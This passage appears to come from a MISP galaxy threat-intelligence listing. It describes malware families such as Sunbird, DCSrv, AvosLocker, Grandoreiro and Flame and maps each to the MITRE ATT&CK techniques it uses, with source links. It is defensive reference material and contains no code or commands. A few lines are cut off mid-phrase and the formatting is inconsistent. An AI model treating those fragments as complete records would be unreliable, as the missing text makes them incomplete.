• similar: misp-galaxy:malpedia="FinFisher RAT" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1429" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="KernelCallbackTable - T1574.013" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

Table 6826. Table References
Sunbird - S1082

[Sunbird](https://attack.mitre.org/software/S1082) is one of two mobile malware families known to be used by the APT [Confucius](https://attack.mitre.org/groups/G0142). Analysis suggests that [Sunbird](https://attack.mitre.org/software/S1082) was first active in early 2017. While [Sunbird](https://attack.mitre.org/software/S1082) and [Hornbill](https://attack.mitre.org/software/S1077) overlap in core capabilities, [Sunbird](https://attack.mitre.org/software/S1082) has a more extensive set of malicious features. (Citation: lookout_hornbill_sunbird_0221)

The tag is: *misp-galaxy:mitre-malware="Sunbird - S1082"*

Sunbird - S1082 is also known as:

- Sunbird

View relationships graph

Sunbird - S1082 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1544" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1623.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
WINERACK - S0219

(WINERACK) is a backdoor used by [APT37]. (Citation: FireEye APT37 Feb 2018)

The tag is: **misp-galaxy:mitre-malware="WINERACK - S0219"**

View relationships graph

WINERACK - S0219 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-
• similar: misp-galaxy:tool="WINERACK" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 6828. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0219">https://attack.mitre.org/software/S0219</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

PJApps - S0291

[PJApps](https://attack.mitre.org/software/S0291) is an Android malware family. (Citation: Lookout-EnterpriseApps)

The tag is: misp-galaxy:mitre-malware="PJApps - S0291"

View relationships graph

PJApps - S0291 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"

Table 6829. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0291">https://attack.mitre.org/software/S0291</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/blog/2016/05/25/spoofed-apps/">https://blog.lookout.com/blog/2016/05/25/spoofed-apps/</a></td>
</tr>
</tbody>
</table>

Escobar - S1092

[Escobar](https://attack.mitre.org/software/S1092) is an Android banking trojan, first detected in March 2021, believed to be a new variant of AbereBot.(Citation: Bleepng Computer Escobar)
The tag is: `misp-galaxy:mitre-malware="Escobar - S1092"`

Escobar - S1092 is also known as:

- Escobar

**View relationships graph**

Escobar - S1092 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1630.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Call Control - T1616"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SMS Control - T1582"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Video Capture - T1512"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1533"` with estimative-language:likelihood-probability="almost-certain"
DCSrv - S1033

[DCSrv](https://attack.mitre.org/software/S1033) is destructive malware that has been used by [Moses Staff](https://attack.mitre.org/groups/G1009) since at least September 2021. Though [DCSrv](https://attack.mitre.org/software/S1033) has ransomware-like capabilities, [Moses Staff](https://attack.mitre.org/groups/G1009) does not demand ransom or offer a decryption key. (Citation: Checkpoint MosesStaff Nov 2021)

The tag is: `misp-galaxy:mitre-malware="DCSrv - S1033"

DCSrv - S1033 is also known as:

- DCSrv

View relationships graph

DCSrv - S1033 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124"` with estimative-language:likelihood-probability="almost-certain"
RuMMS - S0313

[RuMMS](https://attack.mitre.org/software/S0313) is an Android malware family. (Citation: FireEye-RuMMS)

The tag is: `misp-galaxy:mitre-malware="RuMMS - S0313"`

View relationships graph

RuMMS - S0313 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426"` with estimative-language:likelihood-probability="almost-certain"

Table 6832. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0313">https://attack.mitre.org/software/S0313</a></td>
</tr>
</tbody>
</table>

HotCroissant - S0431

[HotCroissant](https://attack.mitre.org/software/S0431) is a remote access trojan (RAT) attributed by U.S. government entities to malicious North Korean government cyber activity, tracked collectively as HIDDEN COBRA. (Citation: US-CERT HOTCROISSANT February 2020)

[HotCroissant](https://attack.mitre.org/software/S0431) shares numerous code similarities with [Rifdoor](https://attack.mitre.org/software/S0433). (Citation: Carbon Black HotCroissant April 2020)

The tag is: `misp-galaxy:mitre-malware="HotCroissant - S0431"`

HotCroissant - S0431 is also known as:

- HotCroissant

View relationships graph

HotCroissant - S0431 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
Table 6833. Table References
Downdelph - S0134

[Downdelph](https://attack.mitre.org/software/S0134) is a first-stage downloader written in Delphi that has been used by [APT28](https://attack.mitre.org/groups/G0007) in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)

The tag is: *misp-galaxy:mitre-malware="Downdelph - S0134"*

Downdelph - S0134 is also known as:

- Downdelph
- Delphacy

View relationships graph

Downdelph - S0134 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"* with estimative-language:likelihood-probability="almost-certain"
- similar: *misp-galaxy:tool="Downdelph"* with estimative-language:likelihood-probability="likely"
- uses: *misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"* with estimative-language:likelihood-probability="almost-certain"
- similar: *misp-galaxy:malpedia="Downdelph"* with estimative-language:likelihood-probability="likely"
- uses: *misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001"* with estimative-language:likelihood-probability="almost-certain"

*Table 6834. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0134">https://attack.mitre.org/software/S0134</a></td>
</tr>
</tbody>
</table>
Flame - S0143

[Flame](https://attack.mitre.org/software/S0143) is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)

The tag is: `misp-galaxy:mitre-malware="Flame - S0143"

Flame - S0143 is also known as:

- Flame
- Flamer
- sKyWIper

View relationships graph

Flame - S0143 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Exfiltration Over Bluetooth - T1011.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1136.001"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:tool="Flame"` with estimative-language:likelihood-probability="likely"

Table 6835. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0143">https://attack.mitre.org/software/S0143</a></td>
</tr>
</tbody>
</table>
StrifeWater - S1034

[StrifeWater](https://attack.mitre.org/software/S1034) is a remote-access tool that has been used by [Moses Staff](https://attack.mitre.org/groups/G1009) in the initial stages of their attacks since at least November 2021.(Citation: Cybereason StrifeWater Feb 2022)

The tag is: `misp-galaxy:mitre-malware="StrifeWater - S1034"`

StrifeWater - S1034 is also known as:

- StrifeWater

View relationships graph

StrifeWater - S1034 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 6836. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1034">https://attack.mitre.org/software/S1034</a></td>
</tr>
</tbody>
</table>

**Xbash - S0341**

[Xbash](https://attack.mitre.org/software/S0341) is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. [Xbash](https://attack.mitre.org/software/S0341) was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller. (Citation: Unit42 Xbash Sept 2018)

The tag is: *misp-galaxy:mitre-malware="Xbash - S0341"*

Xbash - S0341 is also known as:

- Xbash

View relationships graph

Xbash - S0341 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 6837. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0341">https://attack.mitre.org/software/S0341</a></td>
</tr>
</tbody>
</table>

**Final1stspy - S0355**

[Final1stspy](https://attack.mitre.org/software/S0355) is a dropper family that has been used to deliver [DOGCALL](https://attack.mitre.org/software/S0213). *(Citation: Unit 42 Nokki Oct 2018)*

The tag is: *misp-galaxy:mitre-malware="Final1stspy - S0355"*

Final1stspy - S0355 is also known as:

- Final1stspy

View relationships graph

Final1stspy - S0355 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

AvosLocker - S1053

[AvosLocker](https://attack.mitre.org/software/S1053) is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, [AvosLocker](https://attack.mitre.org/software/S1053) had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.(Citation: Malwarebytes AvosLocker Jul 2021)(Citation: Trend Micro AvosLocker Apr 2022)(Citation: Joint CSA AvosLocker Mar 2022)

The tag is: `misp-galaxy:mitre-malware="AvosLocker - S1053"`

AvosLocker - S1053 is also known as:

- AvosLocker

View relationships graph

AvosLocker - S1053 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Masquerade File Type - T1036.008"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic API Resolution - T1027.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

---

Table 6839. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1053">https://attack.mitre.org/software/S1053</a></td>
</tr>
<tr>
<td><a href="https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners">https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners</a></td>
</tr>
</tbody>
</table>

---

**Cannon - S0351**

[Cannon](https://attack.mitre.org/software/S0351) is a Trojan with variants written in C# and Delphi. It was first observed in April 2018. (Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)

The tag is: *misp-galaxy:mitre-malware="Cannon - S0351"*

Cannon - S0351 is also known as:

• Cannon

View relationships graph
Cannon - S0351 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 6840. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0351">https://attack.mitre.org/software/S0351</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/">https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/</a></td>
</tr>
</tbody>
</table>

**HIDEDRV - S0135**

[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit used by [APT28](https://attack.mitre.org/groups/G0007). It has been deployed along with [Downdelph](https://attack.mitre.org/software/S0134) to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)

The tag is: `misp-galaxy:mitre-malware="HIDEDRV - S0135"`

HIDEDRV - S0135 is also known as:

- HIDEDRV

View relationships graph
HIDEDRV - S0135 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 6841. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0135">https://attack.mitre.org/software/S0135</a></td>
</tr>
</tbody>
</table>

**LiteDuke - S0513**

[LiteDuke](https://attack.mitre.org/software/S0513) is a third stage backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016), primarily in 2014-2015. [LiteDuke](https://attack.mitre.org/software/S0513) used the same dropper as [PolyglotDuke](https://attack.mitre.org/software/S0518), and was found on machines also compromised by [MiniDuke](https://attack.mitre.org/software/S0051). (Citation: ESET Dukes October 2019)

The tag is: *misp-galaxy:mitre-malware="LiteDuke - S0513"*

LiteDuke - S0513 is also known as:

- LiteDuke

View relationships graph

LiteDuke - S0513 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 6842. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0513">https://attack.mitre.org/software/S0513</a></td>
</tr>
</tbody>
</table>

**DualToy - S0315**

[DualToy](https://attack.mitre.org/software/S0315) is Windows malware that installs malicious applications onto Android and iOS devices connected over USB. (Citation: PaloAlto-DualToy)

The tag is: `misp-galaxy:mitre-malware="DualToy - S0315"`

**View relationships graph**

DualToy - S0315 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1458" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:malpedia="DualToy (Android)" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"

**Table 6843. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0315">https://attack.mitre.org/software/S0315</a></td>
</tr>
</tbody>
</table>
Grandoreiro - S0531

[Grandoreiro](https://attack.mitre.org/software/S0531) is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. [Grandoreiro](https://attack.mitre.org/software/S0531) has confirmed victims in Brazil, Mexico, Portugal, and Spain.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)

The tag is: `misp-galaxy:mitre-malware="Grandoreiro - S0531"`

Grandoreiro - S0531 is also known as:

- Grandoreiro

View relationships graph

Grandoreiro - S0531 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 6844. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0531">https://attack.mitre.org/software/S0531</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/">https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/</a></td>
</tr>
</tbody>
</table>

**RedLeaves - S0153**

[RedLeaves](https://attack.mitre.org/software/S0153) is a malware family used by [menuPass](https://attack.mitre.org/groups/G0045). The code overlaps with [PlugX](https://attack.mitre.org/software/S0013) and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)

The tag is: *misp-galaxy:mitre-malware="RedLeaves - S0153"*

RedLeaves - S0153 is also known as:

- RedLeaves
- BUGJUICE

View relationships graph

RedLeaves - S0153 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

